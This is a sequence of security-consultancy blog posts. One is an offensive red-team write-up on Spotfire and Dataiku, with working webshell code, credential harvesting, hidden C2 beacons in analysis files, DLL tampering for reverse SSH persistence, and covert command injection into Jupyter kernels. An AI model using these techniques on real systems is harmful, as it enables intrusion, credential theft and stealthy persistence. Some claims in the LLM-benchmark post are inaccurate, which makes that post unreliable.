Conclusion 

These 2 examples have taught us a lot about OT probes, and the many challenges involved in deploying and using them. If tomorrow, I were facing a customer wondering what to do with this OT Probe project on his roadmap, I would pick out 3 main elements: 

Figure 4: The 3 keys to a successful probe project 

Before deploying: Is it worth it ? 

Without clearly identified use cases and defined objectives, you may end up with probes providing unused or no real added value information. OT probes are expensive, both financially and in terms of time. You need to make sure they are worth it, and then gives you the means to fully exploit them. 

To do this, take the time to evaluate the quality and value of the information provided by the OT probes with your different teams (cybersecurity, operations, business…). 

Start small and grow 

Don’t be afraid to start small and grow progressively, whether that is in the number of monitored sites, assets or use cases. 

The long-term operation of OT probes is complex and builds over deployments. Take the time to take care of the solution adoption: if you want teams to use the solution, train them and demonstrate OT probes value! 

Rely on continuous improvement 

As for any robust cybersecurity process, continuous improvement should be at its core. Cyber threats are constantly evolving, from attacker techniques to OT exposure due to process digitalization. 

In parallel OT Probes can provide a wide of capabilities from incident detection to cartography, vulnerability management and even more yet to be released by editors. 

Focus first on capabilities that reduce your OT risks, progressively improving the services as it gains maturity! 

Cet article Detection probes for OT : The keys to a successful deployment est apparu en premier sur RiskInsight.

To answer this question, researchers and engineers from around the world came up with a standardized system to test LLMs in various settings, knowledge domains and to quantify it in an objective manner. These tests are commonly known as “Benchmarks”, and different benchmarks reflect very different use cases.

However, for the average user, these benchmarks alone don’t mean much. There is a clear lack of awareness for the end-user: a 97.3% result in the “MMLU” benchmark is hard to read and to transpose into their daily tasks.

To avoid such confusions, the article introduces factors that limit down a user’s LLM choice, the most popular and widely used LLM benchmarks, their use cases and how they can help users choose the most optimal LLM for themselves.

Factors that Impact LLM Choice

Various factors impact to quality of the model: the cut-off date and internet access, multi-modality, data privacy, context window, and speed and parameter size. These factors must be solidified first before moving on to benchmark assessments and model comparison since they limit which models you can use in the first place.

Cut-off Date and Internet Access

Almost all models on the market have a knowledge cut-off date. This is the date where data collection for model training ends. For example, if the cut-off date is September 2021, then the model has no way of knowing any information after that date. Cut-off dates are usually 1-2 years before the model has been released.

However, to overcome this issue, some models such as Copilot (GPT4) and Gemini have been given access to the internet, allowing them to browse the web. This has allowed models with cut-off dates to still have access to the most recent news and articles. This also allows the LLMs to provide the user with references which reduces the risk of hallucination and makes the answer more trustworthy.

Nevertheless, internet access is a product of the model’s packaging rather than the model itself, thus it is limited to models on the internet, primarily closed-source cloud-hosted ones. For this reason, it is important to consider what your needs are and if having up-to-date information is really all that important in achieving your goals.

Multi-Modality

Different applications require different uses for LLMs. While most of us use them for their text generation abilities, many LLMs are in fact able to analyze images, and voices and reply with images as well.

However, not all LLMs have this ability. The ability to analyze different forms of input (text, image, voice) is “multi-modality”. This is an important factor to consider since if your task requires the analysis of voice messages or corporate diagrams then it is important to look for models that are multi-modal such as Claude 3 and ChatGPT.

Data Privacy

A risk of using most models in the market right now is data privacy and leakage. More specifically, data privacy and safety in LLMs can be separated into two parts:

1. Data privacy in pre-training and fine-tuning, this is whether the model has been trained on data that contains PIIs and if it could leak those PIIs during chats with users. This is a product of the model’s training dataset and fine-tuning process.
2. Data privacy in re-training and memory, this is whether the model would use chats with users to re-train, potentially leaking information from one chat to another. However, this risk is only limited to some online models. This is a product of the packaging of the model and the software layer(s) between the model and the user.

Context Window

Context Window refers to the number of input tokens that a model can accept. Thus, a larger context window means that the model can accept a larger input text. For example, the latest Google model, the Gemini 1.5 pro, has a 1 million token context window which gives it the ability to read entire textbooks and then answer you based on the information in the textbooks.

For context, a 1 million token window allows the model to analyze ~60 full books purely from user input before answering the user prompt.

Thus, it is apparent that models with larger context windows can often be customized to answer questions based on specific corporate documents without using RAG (Retrieval-augmented generation) which is the most common solution for this problem in the market.

However, LLMs often bill users based on the number of input tokens used and thus expect to be billed more when using the larger context window. Additionally, it isn’t common for models to take upwards of 10 minutes before answering when using a larger context window.

Speed and Parameter Size

LLMs have technical variations that can impact the speed of processing the user prompt and the speed of generating a response. The most important technical variation that affects LLM speed is parameter size, which refers to the number of variables the model has internally. This number, usually in billons, reflects how sophisticated a model is but also indicates that the model might require more time to generate a response.

However, the internal architecture of the model also matters. For instance, some of the latest 70B+ parameter models in the market can reply in real-time while some 8B parameter models need minutes to generate a response.

Overall, it is important to consider the trade-off between speed on one hand and parameter size (sophistication and complexity) on the other, although this is also highly dependent on the internal model architecture and the environment it is used in (API, Cloud service, or self-deployed etc.)

Nevertheless, speed specifically is a key distinguisher that borders the line between factor and benchmark since it is measured and used to compare the different STOA models. However, speed isn’t a standardized pragmatic form of assessment and for this reason isn’t considered a benchmark.

Next Steps

After having reviewed the factors, users can now limit their LLM choice and use the benchmarks covered in the next section to help them choose the most optimal model. This helps the user maximize their efficiency and only benchmark the models that are relevant to them (from a cut-off date, speed, data privacy, etc. perspective).

How Benchmarks are Conducted

Benchmarks are tools used to assess LLM performance in a specific area. Benchmarks can be conducted in different ways – the key distinguisher being the number of example question-answer pairs the LLM is given before it is asked to solve a real question.

Benchmarks assess the LLM’s ability to do a certain task. Most benchmarks will ask an LLM a question and compare the LLM’s answer with a reference correct answer. If it matches, then the LLM’s score increases. In the end, the benchmarks output an Acc/Accuracy score which is a percentage of the number of questions an LLM answered correctly.

However, depending on the method of assessment, the LLM might get some context on the benchmark, type of questions or more. This is done through multi-shot or multi-example testing.

Multi-shot Testing

Benchmarks are conducted in three distinct ways.

1. Zero-Shot
2. One-Shot
3. Multi-shot (often multiples of 2 or 5)

Where shots refer to the number of times a sample question was given to the LLM prior to its assessment.

Figure 1: illustration of 3-shot vs. 0-shot prompting

The reason we have different-shot testing is because certain LLMs outperform others in short-term memory and context usage. For example, LLM1 could have been trained on more data and thus outperforms LLM2 in zero-shot prompting. However, LLM2’s underlying technology allows it to have a superior reasoning, and contextualizing ability that would only be measured through one-shot or multi-shot assessment.

For this reason, each time an LLM is assessed, multiple shot settings are used to ensure that we get a complete understanding of the model and its capabilities.

For instance, if you are interested in finding a model that contextualizes well and is able logically reason through new and diverse problems, consider looking at how the model’s performance increases as the number of shots increases. If a model has significant improvement, it means that it has a strong ability to reason and learn from previous examples.

Key Benchmarks and Their Differentiators

Many benchmarks often evaluate the same thing. Thus, it is important when looking at benchmarks to understand what they are assessing, how they are assessing it and what its implications are.

Massive Multitask Language Understanding (MMLU)

Figure 2: example of an MMLU question

MMLU is one of the most widely used benchmarks. It is a large multiple-choice question format dataset that covers 57 unique subjects at an undergraduate level. These subjects include Humanities, Social Sciences, STEM and more. For this reason, MMLU is considered as the most comprehensive benchmark for testing an LLM’s general knowledge across all domains. Additionally, it is also used to find gaps in the LLMs pre-training data since it isn’t rare for an LLM to be exceptionally good at one topic and underperforming in another.

Nevertheless, MMLU only contains English-language questions. So, a great result in MMLU doesn’t necessarily translate to a great result when asking general knowledge questions in French, or Spanish. Additionally, MMLU is purely multiple choice which means that the LLM is tested only on its ability to pick the correct answer. This doesn’t necessarily mean the LLM is good at generating coherent, well-structured, and non-hallucinatory answers when prompted with open-ended questions.

An MMLU result can be interpreted as the percentage of questions that the LLM was able to answer correctly. Thus, for MMLU, a higher percentage is a better score.

Generally, a high average MMLU score across all 57 fields indicates that the model was trained on a large amount of data containing information from many different topics. Thus, a model performing well in MMLU is a model that can effectively be used (perhaps with some prompt engineering) to answer FAQs, examination questions and other common everyday questions.

HellaSwag (HS)

Figure 3: example of a HellaSwag question

HellaSwag is an acronym for “Harder Endings, Longer contexts, and Low-shot Activities for Situations with Adversarial Generations”. It is another English-focused multiple choice massive (10K+ questions) benchmark. However, unlike MMLU, HS does not assess factual or domain knowledge. Instead, HS focuses on coherency and LLM reasoning.

Questions like the one above challenge the LLM by asking it to choose the continuation of the sentence that makes the most human sense. Grammatically, these are all valid sentences but only one follows common sense.

The reason this benchmark was chosen is because it works in tandem with MMLU. While MMLU assesses factual knowledge, HS assesses whether the LLM would be able to use that factual knowledge to provide you with coherent and sensical responses.

A great way to visualize how MMLU and HS are used is by imagining the world we live in today. We have engineers and developers that possess great understanding and technical knowledge but have no way to communicate it properly due to language and social barriers. Because of this, we have consultants and managers that may not possess the same depth of knowledge, but instead have the ability organize, and communicate the engineers’ knowledge coherently and concisely.

In this case, MMLU is the engineer and HS is the consultant. One assesses the knowledge while the other assesses the communication.

HumanEval (HE)

While MMLU and HS test the LLM’s ability to reason and answer accurately, HumanEval is the most popular benchmark to purely assess the LLM’s ability to generate useable code for 164 different scenarios. Unlike the previous two, HumanEval is not multiple choice based and instead allows the LLM to generate its own response. However, not all responses are accepted by the benchmark. Whenever an LLM is asked to code a solution to a scenario, HumanEval tests the LLM’s code with a variety of test and edge cases. If any of these test cases fail, then the LLM fails.

Additionally, HumanEval also expects that the code generated by the LLM is algorithm optimized for time and space. Thus, if an LLM outputs a certain algorithm while there is a more optimal algorithm available then it loses points. Because of this reason, HumanEval also tests the LLM’s ability to accurately understand the question and respond in a precise manner.

HumanEval is an important benchmark, even for non-technical use cases since it accurately reflects LLM’s general sophistication and quality in an indirect way. For most models, the target audience is developers and tech enthusiasts. For this reason, this is a strong positive correlation between greater HumanEval scores and greater scores in many other benchmarks signifying that the model is of higher quality. However, it is important to keep in mind that this is merely a correlation, not a causation, and so things might differ in the future as models start targeting new users.

Chatbot Arena

Figure 4: example of Chatbot Arena interface

Figure 5: Chatbot Arena July 2024 rankings

Unlike the past three benchmarks, Chatbot arena is not an objective benchmark, but a subjective ranking of all the available LLMs in the market. Chatbot Arena collects users’ votes and determines which LLM provides the best overall user experience including the ability to maintain complex dialogues, understand user inquiries and other customer satisfaction factors.  Chatbot Arena’s subjective nature makes it the best benchmark assessing the end-user experience. However, this subjectivity also makes it non-reproducible and difficult to really quantify.

The current user rankings put OpenAI’s GPT-4o at the top of the list with a sizable margin between it and second place. This ranking has great merit since it is collected from the opinion of 1.3M user votes. However, these voters are primarily from a tech background and thus the ranking might be biased towards models with greater coding abilities.

The rankings are built on top of the ELO system, which is a zero-sum system where models gain ELO by producing better replies than their opposing model and the opposing model loses ELO.

Overall benchmarking

Benchmarks can have internal biases and limitations. Benchmarks can be used together to better represent the model’s capabilities. Newer models are more advantaged because of their architecture, training data size, and leakage of benchmark questions.

The three + one (chatbot arena) benchmarks mentioned are the most popular and widely used in research to compare LLMs. The combination mentioned (MMLU, HellaSwag, HumanEval and Chatbot Arena) assess many sides of the LLM, from its factual understanding and coherence to coding and user experience. For this reason, these four benchmarks alone are widely used in many rankings online since they are able to reflect the true nature of the LLM.

However, one thing to consider is that the newest LLM models are heavily advantaged because of two primary reasons.

1. They are built on a more robust architecture, have better underlying technologies and have more data to train on due to later cut-off dates and larger hardware capacity.
2. Many questions from the benchmarks have leaked into the model’s training data.

Nevertheless, there are many more benchmarks available on the net that assess different parts of the LLM and are often used in tandem to paint a complete picture of the model’s performance.

Factors, Benchmarks and How to Choose Your LLM

By using the aforementioned factors and benchmarks, you can effectively compare LLMs in a quantifiable and objective way – helping you make an informed decision and choose the most optimal model for your business need and task.

Additionally, each of the above benchmarks has strengths and weaknesses that make them unique and great in different aspects. However, at Wavestone we recognize the importance of diversification to minimize risk. For this reason, we developed a checklist that allows users to make a more informed decision when it comes to choosing a set of benchmarks to follow and using them to compare the latest models. The checklist covers a wide variety of domains, benchmarks and factors that give the end-user more granular control over their benchmark choice.

The tool, also a priority tracker, allows users to set different weights for the benchmarks to accurately reflect their business needs and task natures. For example, a consultant might prioritize multi-modality for diagram and chart analysis over mathematical skills and thus give multi-modality a higher weighting.

Finishing thoughts

In the rapidly evolving landscape of LLMs, understanding the nuances of different models and their capabilities is crucial. Before considering any LLM, several factors must be taken into consideration, including cut-off date, data privacy, speed, parameter size, context window, and multi-modality. After considering these factors, users can consult different benchmarks to make a more informed decision. The ones covered in this article, MMLU, HellaSwag, HumanEval, and Chatbot Arena, provide a robust system to quantitatively evaluate these models in various domains.

In conclusion, the AI Race is not just about developing better models but also about leveraging and using these models effectively. The journey of choosing the most optimal LLM is not a sprint but a marathon, requiring continuous learning, adaptation, and strategic decision-making through benchmarking and testing. As we continue to explore the potential of LLMs, let us remember that the true measure of success lies not in the sophistication of the technology but in its ability to add value to our work and lives.

Acknowledgements

We would like to thank Awwab Kamel Hamam for his contribution to this article.

Further Reading and Reference

[1] D. Hendrycks et al., “Measuring Massive Multitask Language Understanding.” arXiv, 2020. doi: 10.48550/ARXIV.2009.03300. Available: https://arxiv.org/abs/2009.03300

[2] D. Hendrycks et al., “Aligning AI With Shared Human Values.” arXiv, 2020. doi: 10.48550/ARXIV.2008.02275. Available: https://arxiv.org/abs/2008.02275

[3] M. Chen et al., “Evaluating Large Language Models Trained on Code.” arXiv, 2021. doi: 10.48550/ARXIV.2107.03374. Available: https://arxiv.org/abs/2107.03374

[4] R. Zellers, A. Holtzman, Y. Bisk, A. Farhadi, and Y. Choi, “HellaSwag: Can a Machine Really Finish Your Sentence?” arXiv, 2019. doi: 10.48550/ARXIV.1905.07830. Available: https://arxiv.org/abs/1905.07830

[5] W.-L. Chiang et al., “Chatbot Arena: An Open Platform for Evaluating LLMs by Human Preference.” arXiv, 2024. doi: 10.48550/ARXIV.2403.04132. Available: https://arxiv.org/abs/2403.04132

Cet article Which LLM Suits You? Optimizing the use of LLM Benchmarks Internally. est apparu en premier sur RiskInsight.

In an information system, applications are not equal. Some of them can be used as an entry point in the information system, others are used as compromise accelerators, and some are saved for post-exploitation. These applications are called high-value targets.

For example, during a standard attack, the in-house developed web application will be targeted first as they offer an important attack surface and often allow remote code execution on a domain join servers. The CICD infrastructures are exploited to easily rebound on the internal network through the infection of CICD pipeline or the discovery of additional secrets. The ADCS is highly leveraged to speed up the domain compromise through the set of ESCXX vulnerabilities.

The typology of applications in each category has quietly been the same for several years even if some new challengers have appeared over the years such as the SCCM application, the EDR console, etc. But because the same techniques are used for several years now, companies started securing these elements making their compromise and exploitation more difficult.

It is time to explore new horizons and renew this old stuff with a new set of applications.

In this article, we will look at the DataScience application. With the rise of BigData, more and more companies are integrating DataScience infrastructure on their information system. We will see how these applications can be exploited to:

• Achieve remote code execution
• Move laterally on the internal network
• Spread malware among users
• Ease access persistence
• Exploit datalake for datamining

2. Initial Access on the DataScience Application

There are a lot of different DataScience applications. In this article we will mainly focus on the Spotfire and the Dataiku applications as they are either the most popular or with the wind in their sails.

As DataScience is still new in companies, these applications are often deployed and maintained by the business and not by the IT department.

Having an application out of the standard IT process (Shadow IT) is often interesting for an attacker. Indeed, when an application is set up out of the standard IT process, it often does not implement the standard security rules enforced by the company. So, you will surely see:

• Application exposed directly on the internet without additional protection
• Application not set up in a specific DMZ with a direct access to the internal network
• Application with a local authentication instead of the global company authentication mechanism
• Lack of hardening in the deployment process and lack of security patch deployment

These points can seem irrelevant, but the accumulation leads to the possibility to access to these applications directly from the Internet with unsecured or default credentials still valid or through an authentication bypass fixed few years ago but never patched cause the business doesn’t know or even care…

3. DataScience is RCE as a service

3.1. Why using datascience application

Before getting to the heart of the matter, let’s take some time to discuss the interest and use case of datascience application.

Let’s take as an example a company that sell several types of products such as Amazon or any marketplace. This company wants to see in real time the trending products depending on some user characteristic collected by their website analytics.

They can use an Excel file and try using the Excel VBA features to create graphs and trends, but it would be very painful to manually import all data in the Excel file and for a company with millions of customers, the Excel will likely crash every time some sneeze nearby.

To solve this problem, the company started storing its analytics data in a database that will be called a datalake. Then, when someone wants to create a nice report, he creates a python script that connects to the database, fetch the relevant data, process it through numpy or panda and use matplotlib to draw the graph and trends. This is much better, the application can scale up, is more stable but it asks for technical scripting skills so the business cannot use it by itself.

So, the company decides to develop a nice front-end to wrap all the python script behind a nice UI anyone can use. Users can connect to the application, choose the data to import, process it and draw graph without writing a single line of code.

They just created their first datascience application.

Today, companies will not likely invest several months of development on this type of setup. They prefer to buy an all-in-one commercial application. Among these applications there are Spotfire and Dataiku.

3.2. Where is my RCE?

Datascience application can be summarized as a simple frontend for data processing scripts. And sometimes, the built-in functions are not enough so they expose access to their script engine to allow developers to create custom script that can be fully integrated to the environment and used by the business.

3.2.1. Spotfire

Basic Spotfire infrastructure

When deployed as-is, the Spotfire infrastructure looks like the following figure:

Figure 1: Basic Spotfire infrastructure

The user connects to a WebUI exposed by the Spotfire WebPlayer or through a dedicated Spotfire thick client directly from their workstation and access to their report stored in the Spotfire server. Once the reports are opened, they contact the Spotfire Server to retrieve the data and execute the data cleaning script.

Remote Code Execution

The Spotfire allows by design the execution of R script but execution of Python script can be easily enabled by loading the IronPython scripting module.

In any case, users are able to execute scripts directly from the Spotfire WebPlayer or the thick client. However, they are only able to modify or create script from the Spotfire thick client.

From the thick client, it is possible to create a new project. Inside the project, it is possible to create a UI. Let’s create a webshell Spotfire.

First, we will create the UI. It will consist of a textarea to type the command, another textarea to display the command result and a button to send the command:

Figure 2: Final webshell UI

Once the project has been created, we create a new empty page. When an empty page is created, Spotfire asks if we want to start with data, visualization or other:

Figure 3: Spotfire new page

We will choose “Start from Visualizations” and choose the “Text area” visualization type. This should show a full blank page:

Figure 4: Spotfire new textarea

This textarea will contain the whole webshell input control. Let’s create another textarea for the result:

Figure 5: Spotfire second textarea

So now, we can click on “Edit Text Area” at the top of the first text area. This will allow the customization of the text area content.

First let’s add an input control that will be used to type the command to send to the server:

Figure 6: Text area modification

We will bind the control value to a document property to be able to use it with our future python script. We can create a new property called Input with the data type String:

Figure 7: Bind control to input field

Then, let’s create an action control by clicking on the “Insert Action Control” button at the top of the Edit Text Area window. We click on Script and choose the Control type Button. Then we can create a new IronPython script:

Figure 8: Add button

Fill the script content with the following code:

from Spotfire.Dxp.Application.Visuals import *
from System.IO import *
from System.Drawing import *
from System.Drawing.Imaging import *
from System.Text.RegularExpressions import *
import subprocess
vis=visual.As[HtmlTextArea]()
if 'clean!' in com:
    vis.HtmlContent = ''
else:
    try:
        vis.HtmlContent = "Executing {}".format(com)
        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)
        output, _ = process.communicate()
        vis.HtmlContent='<br>'.join(output.split('\n'))
    except Exception as e:
        vis.HtmlContent="{}".format(e)

This code loads a bunch of Spotfire libraries that are used to communicate with the UI. The “visual” variable represents the text area used to display the result. The “com” variable contains the value of the property bond to our input field created.

The script executes the command stored in the “com” and write the result on the UI element pointed by the “visual” variable.

Now, we have to bind the “visual” and “com” variable to the different project element. In the “Script parameters” table, add a new parameter:

Figure 9: Bind visual parameter

Do the same for the com parameter:

Figure 10: Bind com parameter

So now, when the script is executed, it will automatically bind the visual parameter to the textarea panel used to display the result and the com parameter to the content of the Input property created when defining the input field.

Let’s save all of this. Congratulations, we have a working webshell:

Figure 11: Final webshell

If executed directly from the thick client, the code will only be executed in local, so this is not really interesting. However, if the code is executed directly from the Spotfire Webplayer, it will be executed on the Spotfire server, leading to a remote code execution on the server.

3.2.2. Dataiku

The remote code execution on Dataiku is more straight forward. Indeed, Dataiku directly embeds a Jupyter notebook like features.

By creating a new Jupyter project, it is possible to directly execute command on the server as shown in the following figure:

Figure 12: Code execution with Dataiku

3.2.3. OPSEC consideration

One can say that spawning python process as a child process for Spotfire or Dataiku will lead to hard detection by EDR. However, we have to keep in mind that spawning a python process is a legit behavior for the Spotfire or Dataiku process.

However, if you start to spawn cmd.exe directly from the python script, yes, this could lead to hard detection. But python is known to be suspicious by default and EDR are a little more relaxed about the actions performed by a python process due to several false positive.

So, in a nutshell, spawning the python process should not lead to any specific detection, but you should be careful on the script you will execute from it.

4. Credentials harvesting

Having RCE on a server is always nice, but it is better to know what we can do with it. First of all, if you achieved RCE on a domain join computer, you have an authenticated access to the domain, and when you are coming directly from the internet this is the cherry on the cake.

The specificity of datascience applications is that they are connected to datalake. These connections can be standard SQL connection, but they can also be connection to cloud datalake such as AWS.

With an RCE on the server, you can usually access to all the credentials stored in the application.

4.1. Example with Dataiku

On Dataiku, the secrets are stored in the DATA_DIR/config directory:

Figure 13: Configuration file for dataiku

The users.json contains the user database for dataiku. You can use it to create a new administrator user and keep persistence on the environment.

The connections.json file contains all the credentials to access to the datalakes. However, the passwords are stored encrypted:

Figure 14: Password stored encrypted

Hopefully, Dataiku provides a tool to decrypt these credentials:

Figure 15: Password decryption on Dataiku

You can now use these credentials to jump on the remote database or directly on the cloud if they use AWS Datalake or AWS stored databases.

Finally, the dataiku account that is used to run the Dataiku instance has all privileges on the Dataiku instance data. You can then just retrieve all project data.

5. Spread among the users

This part only applies to Spotfire as Dataiku does not provides thick client and this exploitation relies on the fact that user will execute code on their workstation and not on the remote server.

5.1. Infect other users

Scripts embedded in analysis must be trusted in order to be executed by other users. This trust process is performed through Spotfire users with specific rights. With remote code execution on the Spotfire instance, it is possible to directly create a new administrator user. However, due to the unsecured management on users by the business teams, all users usually have the privileges to trust the scripts.

In order to compromise the users, the Spotfire application can be weaponized as a command-and-control infrastructure.

When the user opens an analysis file from his thick client, the file is locally downloaded, and all scripts contained on the project are executed locally on the user workstation.

Figure 16: Macro view of the Spotfire C2 infrastructure

This analysis sheet has been weaponized through a JS script. When opened by the user, the JavaScript code will be executed leading to the execution of a final python script containing the C2 beacon.

This can be done by adding in any page of the project a new button that will trigger the C2 python runtime. The button can be configured to have a 1px size, making it invisible. Then a JS script can be added to automatically click on the button on a regular basis (every 30 seconds for example).

As long as the analysis file is opened, the JavaScript code will call the C2 python script every 30 seconds allowing execution of arbitrary python script and OS command on the user computer.

Figure 17: Low-level view of the infected analysis file

The only limitation is that the JS will only be triggered if the user opens the specific infected page. This can be bypassed by redirecting the user to the malicious analysis page when he opens it.

When the user opens the infected analysis, it will automatically trigger a data function (which is different from a script).

The datafunction are functions executed when the project is opened. However, their subset of features is limited. They cannot run important python script on a regular basis.

This data function is configured to update a random document property. Spotfire allows setting up some script hook on properties changed. So, when the property is changed by the data function, it will trigger an IronPython script that will display a specific analysis sheet to the user.

Once the infected analysis sheet is focused, it will start the python C2 beacon on a regular basis through the JS script as explained before:

Figure 18: C2 auto run process

When this C2 is deployed, it will stay alive as long as the infected analysis stay open on the user’s workstation.

The following figure shows the compromise of a user workstation and the execution of a remote python script fetched by the python beacon:

Figure 19: Command execution on the user workstation

In order to compromise as many users as possible, it is possible to infect several projects and wait that users click on them.

Usually, companies have specific project templates store somewhere on the Spotfire server. If you find them, you will automatically infect all project based on this template.

5.2. Extend compromise time

This C2 process is interesting but ends when the user closes the infected analysis. In order to have a more persistent access to the user computer, the C2 process is migrated from Spotfire to another python instance on the user computer.

Indeed, when Spotfire is installed, it also installs a raw python interpreter. Through the initial C2, it is possible, through OS command execution, to write another C2 beacon on the user filesystem and trigger its execution by the raw python interpreter.

Figure 20: C2 without Spotfire restrictions

This time, even if the infected analysis is closed, the python process will not be killed as it is not related to Spotfire anymore, granting the attacker persistent access to the user computer as long as no reboot is performed.

5.3. Access persistency

5.3.1. DLL Hijacking

Through the C2 beacon it is possible to spawn an SSH reverse socks. The reverse SSH socks is enough to access to the internal network, however, it will be killed when the user computer is shut down and will not be remounted until the user re-open an infected analysis and trigger again the C2 beacon execution.

In order to get persistence and ensure that the socks will be remounted even if the user computer is rebooted, some modification on application files can be performed on the user workstation.

The users compromised through the Spotfire beacon are data analysts and Spotfire is their main tools and more likely the first application they run when they turn on their computer.

The Spotfire thick client is developed in C#. Its DLLs can be easily reversed, and they are stored in the user APPDATA folder. Thus, with a simple access to the user session, it is possible to modify these DLL without needing specific privilege escalation. Using the SysInternals Procmon.exe, the list of DLL loaded by Spotfire is found. Then, one of this DLL is reversed engineered and infected as shown in the following figure:

Figure 21: DNSpy showing the modified DLL

The malicious code injected will create a new SSH process mounting a new SSH reverse socks when Spotfire is started.

The DLL is recompiled and uploaded on every compromised user workstation and the C2 beacon is modified to execute this action when it detects a new user callback.

5.3.2. OPSEC consideration

While looking like DLL hijacking, this technique is hardly detectable by an EDR as the original DLL has not been swapped by a malicious one as in DLL Hijacking or DLL Proxying. The DLL executed by Spotfire is the original one re-compiled with an additional code spawning a new process.

As the original Spotfire DLL is not signed, the EDR cannot detect the modification.

5.3.3. Resiliency

To avoid being blocked through a firewall rule if the socks IP is blacklisted, the malicious code implanted in the Spotfire DLL does not contain a hardcoded remote IP, port and SSH key, instead, each time it fetches this information from a different remote server.

So even if the SOC blacklist the SOCKS IP, it is possible to remotely change the SOCKS destination IP without needing direct access to the compromised users’ computers.

6. Hide in plain sight

The Dataiku application can be used to masquerade malicious command execution and make it look like performed by another user.

6.1. Jupyter integration in Dataiku

As said before, the Dataiku exposes a Jupyter-like application. Looking at the Dataiku code and the different process run by the DSS instance, it shows that Dataiku didn’t redevelop a Jupyter like applications but simply run a full Jupyter Notebook instance in the background:

Figure 22: Jupyter server running on port 11002

Using a simple port forwarding grant access to the Jupyter instance:

Figure 23: Jupyter instance

When executing a Jupyter cell, it is possible, by performing a network capture, to see the TCP communication between the Dataiku instance and the Jupyter backend:

Figure 24: TCP packet

This shows that the Dataiku instance fully exposes the Jupyter kernel and additional investigation shows that the API TOKEN used by Dataiku to communicate with the Jupyter backend is the same whatever the Jupyter Notebook loaded.

Thus, any user with access to the Jupyter Notebook feature is able to execute code on any Jupyter Kernel loaded as long as it has the kernel ID. Hopefully, the kernels ids are shown in the process command lines. Thus, the following code can be used to retrieve all kernel id:

Figure 25: Kernel ID retrieval

6.2. Hide request execution

Once the kernel id is retrieved, it is possible to create a session on the kernel:

GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1
Host: 10.125.3.111:11000
<SNIP>
Origin: http://10.125.3.111:11000
Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==
Connection: keep-alive, Upgrade
Cookie: <SNIP>
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

This request will create a websocket to communicate with the Jupyter kernel. No specific access control is performed on this endpoint. As long as you are authorized to execute any Jupyter notebook, you can connect to any Jupyter kernel even if you cannot access to the notebook using the UI interface.

It is then possible to use the websocket to send command to execute to the python kernel:

{
  "header": {
    "msg_id": "ef46ce660d49457c890ce550420ed921",
    "username": "username",
    "session": "f4fe997b336f4a019c4c6837df699d30",
    "msg_type": "execute_request",
    "version": "5.2"
  },
  "metadata": {},
  "content": {
    "code": "print('test')",
    "silent": false,
    "store_history": true,
    "user_expressions": {},
    "allow_stdin": true,
    "stop_on_error": true
  },
  "buffers": [],
  "parent_header": {},
  "channel": "shell"
}

What is interesting is that the command is executed, but not saved in any Jupyter cell leading to invisible command execution as long as the kernel is alive.

Moreover, if you modify the value of a specific variable, it will be persistent. So, if you send the python command:

def hijacked_print(value):
    import sys
    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)
    sys.stdout.write('hijacked print: {}'.format(value))

print = hijacked_print

The beacon will be executed when a user uses the print command and because the previous python execution didn’t let any trace behind, good luck to detect it and find which user has been compromised.

7. Conclusion

The datascience applications are useful in any step of the killchain. For a remote attacker, they can be used as an initial entry point on the information system, they can be leveraged to find insecurely stored credentials to rebound on the information system, their scripting capabilities can be used to spread malicious beacon among several users and the data they contain can be easily stolen and exfiltrated.

These applications are undercut by either attackers or IT department. A simple compromise of one of these applications can lead to a huge impact on the whole information system.

It is time to for the infosec to start integrating buzzword as BigData and machine learning in the killchain, attacker already did it…

Cet article DataScience for RedTeam: Extend your attack surface est apparu en premier sur RiskInsight.

Demystification of operation 

These technologies aim to identify and extract faces from images or video streams to calculate a facial imprint, encapsulating all of their features, in order to facilitate a subsequent search and identification. 

The idea of using the face as a form of identification in systems, as well as the earliest functional systems, dates back to the early 1960s with the Woodrow Wilson Bledsoe System (1964). The Woodrow Wilson Bledsoe System was capable of recognizing faces by analyzing digitized photos. The system’s approach relied on identifying facial features such as the distance between the eyes and the width of the nose. 

The latest advancements in artificial intelligence, particularly with the advent of Machine Learning and the explosion of shared photos and videos on the internet, have allowed for rapid and widespread development of facial recognition algorithms. 

In practice, these systems will rely on the images captured by our smartphones and cameras, which consist of a grid of pixels, each carrying the values of the three colors: red, green, and blue for the respective pixel. Unlike human vision, the FR system will perceive these images in a completely digital form. The algorithm of RF will typically follow steps for processing: 

1. Capturing the image: It all begins with capturing an image containing a face. This image can come from a photo taken by a camera or be extracted from a video. 
2. Face detection: The algorithm will analyze the image to detect the presence and position of faces. To do this, it will use image processing techniques to search for patterns and characteristic features of faces, such as contours, structural elements (like eyes), and variations in brightness. 
3. Extraction of facial features from the person: Once the face is detected, the algorithm extracts specific characteristics that will allow it to distinguish it from other faces. These characteristics include intelligible elements (eye position, overall shape, etc) as well as elements intelligible only to the AI model (gradients and specific pixel arrangements). 
4. Creation of a facial imprint: Based on the extracted features, the algorithm creates a facial imprint, which is essentially a summary of the face, in a digital format understandable for the model.  
5. Comparison with the database: In order to perform identifications and searches, the obtained facial imprint can be compared with fingerprint or image databases. The matches found will generally indicate a confidence percentage, based on the calculated level of resemblance. 

Nowadays, the underlying mechanics of image processing and machine learning can offer excellent performance in terms of speed and consistency of results. However, like other automated technological services, they can be vulnerable to cyber security threats and may, in some cases, be exploited by an attacker. 

Overview of attacks and weaknesses 

The objective will not be to enumerate all potential attacks on machine learning systems, but to focus on attacks that can target RF algorithms. The main typologies are as follows: 

Adversary attacks:  
The first cracks in the armor of FR algorithms, discovered in the 2010s, involve subtly introducing very slight noise into the images sent to the system. This alteration, nearly invisible to a human, can disrupt the fine features perceived by the model and intentionally lead to errors in understanding and classification by the underlying neural network. If an attacker can alter the sent images, someone with good knowledge of the system could potentially impersonate a user. 

Example of adversary attack 

Occlusion attacks 
Since 2015, researchers have been able to put into practice attacks where occlusion of parts of the face, such as wearing glasses or masks, can deceive certain FR models. Indeed, the model may fail to detect and extract faces from captured images, or extract inconsistent features. In both cases, such attacks allow for subject anonymization. 

Examples of occlusion technique 

 
Face substitution attacks 

